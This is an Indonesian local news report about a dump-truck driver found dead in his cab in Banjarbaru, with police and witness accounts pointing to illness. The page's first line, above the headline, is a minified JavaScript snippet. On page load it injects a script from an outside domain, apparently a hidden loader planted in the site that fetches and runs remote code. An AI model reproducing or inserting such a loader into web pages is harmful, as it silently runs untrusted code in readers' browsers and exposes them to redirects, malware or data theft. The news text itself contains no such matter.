(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Tak Bernyawa Dalam Kabin Truk di Jalan Jeruk Sungai Ulin

KANALKALIMANTAN.COM, BANJARBARU – Sesosok lelaki tak bernyawa didapati dalam kabin truk gegerkan warga Jalan Jeruk RT 30 RW 07, Kelurahan Sungai Ulin, Kecamatan Banjarbaru Utara, Senin (27/5/2024) pagi.

Sekitar pukul 07.20 Wita, polisi mendatangi lokasi sebuah drump truk bernopol DA 8060 BM di Jalan Jeruk.

Kapolsek Banjarbaru Utara, Kompol Yopie Andri Haryono menyebutkan, jasad lelaki tak bernyawa itu bernama Sugiono (51), seorang sopir truk.

“Identitasnya beralamat di Gang Kastela 7 RT 30 RW 07, Kelurahan Sungai Ulin, ditemukan oleh tiga orang,” ungkap Kompol Yopie Andri Haryono, Senin (27/5/2024) siang

Kapolsek Banjarbaru Utara menjelaskan, kronologis penemuan berawal ketika saksi bernama Sandi sedang melaksanakan tugas jaga di PT MPB pada pukul 05.00 Wita.

“Saksi Sandi melihat satu unit dump truk warna kuning dengan nomor polisi DA 8060 BM berhenti di pinggir jalan mesin hidup dan lampu menyala,” ujarnya.

Penjaga malam itu sempat memperhatikan truk itu selama 15 menit, namun tida ada perubahan, dia pun mulai curiga dan mencoba mendatangi truk terparkir tersebut.

“Saksi mulai mengetuk pintu mobil, namun tidak ada respon. Kemudian membuka pintu kanan dan melihat kondisi sopir seperti tertidur dan mencoba membangunkan, tapi tidak ada respon,” jelas Kapolsek.

Selanjutnya Sandi menghubungi saksi lain bernama Sujiono untuk ke lokasi kejadian. Rupanya Sujiono mengenali sopir truk itu dan langsung menghubungi keluarganya.

Sementara itu menurut Narmi, istri sopir, masih dari keterangan Kapolsek menjelaskan, sekitar pukul 02.30 Wita, Sugiono didapati bangun tidur di rumahnya dan mengeluh tidak enak badan.

Sugiono sempat muntah, sehingga minta dikeroki oleh istrinya sebelum berangkat mengemudikan dump truk.

“Sekitar pukul 06.00 Wita, istri didatangi dua saksi yang memberitahukan kejadian, sang istri membenarkan bahwa sopir itu adalah suaminya,” sambungnya.

Yopie menyebutkan dugaan sementara sopir truk meninggal dunia akibat menderita sakit.

“Diduga meninggal dunia karena sakit,” tuntasnya.

Jasad Sugiono dibawa pulang ke rumah duka oleh relawandibantu warga sekitar menggunakan mobil ambulans Regas. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie